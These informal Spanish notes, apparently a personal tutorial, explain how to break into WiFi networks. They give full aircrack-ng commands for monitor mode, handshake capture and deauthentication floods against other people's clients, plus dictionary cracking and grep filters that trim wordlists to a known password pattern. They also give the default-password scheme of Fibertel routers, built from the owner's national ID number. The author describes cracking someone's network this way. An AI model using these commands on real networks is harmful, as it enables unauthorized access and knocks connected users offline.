service network-manager stop # En algunas distros es NetworkManager sudo systemctl stop NetworkManager airmon-ng check kill iwconfig # Identifica tu dispositivo de red(en mi caso wlp1s0) sudo airmon-ng start wlp1s0 # o wlan0 para ponerlo en modo monitor, en modo monitor tu internet dejará de funcionar, salvo que tengas dos antenas wifi. sudo airodump-ng wlp1s0 # Para escuchar paquetes (tiene que estar en modo monitor) de ahí elegí la mac address de cualquier red para usarla en el siguiente comando. sudo airodump-ng -w wificapture -c NUMERO_CANAL --bssid ... wlp1s0 # wificapture para capturar el handshake sudo aireplay-ng -D --deauth 0 -a BSSID_NETWORK wlp1s0 # Si no pones el cliente tenes que agregar la opción -D #### Ahora podemos crear una carpeta para guardar el handshake mkdir handshake cd handshake ### Escuchamos para capturar el handshake `airodump-ng wlan1mon --bssid 1C:5F:2B:E7:77:EA --channel 11 --write handshake --output-format cap` ### Deautenticamos a los clientes para que se vuelvan a conectar y así capturar el handshake. (Simultáneamente) `aireplay-ng --deauth 0 -a 1C:5F:2B:E7:77:EA -c 40:E2:30:CC:1E:8D wlan1mon # donde -a es el SSID y -c es el cliente.` O podés hacerlo sin el cliente `sin la opción -c` pero agregando `-D` Cuando el handshake es capturado se guardará en el directorio en donde estás situado. sudo airmon-ng stop wlp1s0 # detiene el modo monitor ### Una vez que capturamos el handshake, intentamos descubrir la contraseña usando un diccionario. `aircrack-ng handshake.cap -w passwords.txt` En hay un diccionario muy conocido que se llama rockyou.txt y hay una página que se llama: https://weakpass.com O podes subir el handshake a wpa-sec.stanev.org --- Como romper por diccionario ============================== Si alguna vez descubriste alguna contraseña ya sabes el patrón que usa para sus contraseñas, entonces podes filtrar de una gran lista, esto lo expliqué mejor en mi blog https://imlauera.github.io en la publicación que se llama: Atacando redes WiFis y explotando vulnerabilidades de computadoras dentro de ellas. Salio la clave. Antes por ataque de WPS pude descubrir que uso una palabra y 4 numeros. Entonces baje el diccionario de latin en weakpass y filtre las palabras que contengan EXACTAMENTE 4 numeros al final con `grep`, si alguno sabe una mejor forma de hacer esto diganme. De un diccionario de 11 gigas pase a uno de 1,7 gigas. En 3 dias salio clave solo con CPU (`Intel Celeron 2.0GHz`) grep -E '\b([^0-9]*[0-9]){4}$[^0-9]*\b' weakpass_4.latin.txt > sanchez_dicc1 grep -E '^[^0-9]*([0-9]){4}$' sanchez_dicc1 > sanchez_dicc2 Supongamos que corremos el diccionario de 46 gigabytes o hacemos un ataque de gemelo malvado o hacemos un ataque de WPS o hacemos un ataque de WEP (obsoleto) y encontramos que la contraseña es: sakura2629 Ahora ya conocemos el patrón de la contraseña. Entonces tomamos un diccionario de 46 gigas y aplicamos los siguientes filtros: 1. Cómo mínimo la contraseña tiene que ser 8 caracteres. 2. Solo nos quedamos con las palabras que tengan exactamente 4 números AL FINAL. 3. Creamos 3 diccionarios: * Solo nos quedamos con las palabras que contengan sakura: menos de 1 megabyte. * Solo nos quedamos con las palabras que contengan 26: aprox. 500 megabytes que lo podés probar en 3 horas. * Solo nos quedamos con las palabras que contengan 29: aprox. 500 megabytes que lo podés probar en 3 horas. Es decir de un diccionario de 46 gigabytes nos quedamos con 3 diccionarios que lo podemos probar en menos de 1 día. --- Las redes WiFi que contienen "Fibertel" usan el siguiente patrón ===================================================================================== Ejemplo nombre de red: Fibertel WiFi fjw Ejemplo de contraseñas: 004+DNI+fjw 003+DNI+fjw 001+DNI+fjw 002+DNI+fjw 014+DNI+fjw 420+DNI+fjw 412+DNI+fjw Hay un repositorio en GitHub que tiene un script en python que te genera ese script para usarlo con el aircrack o con el hashcat.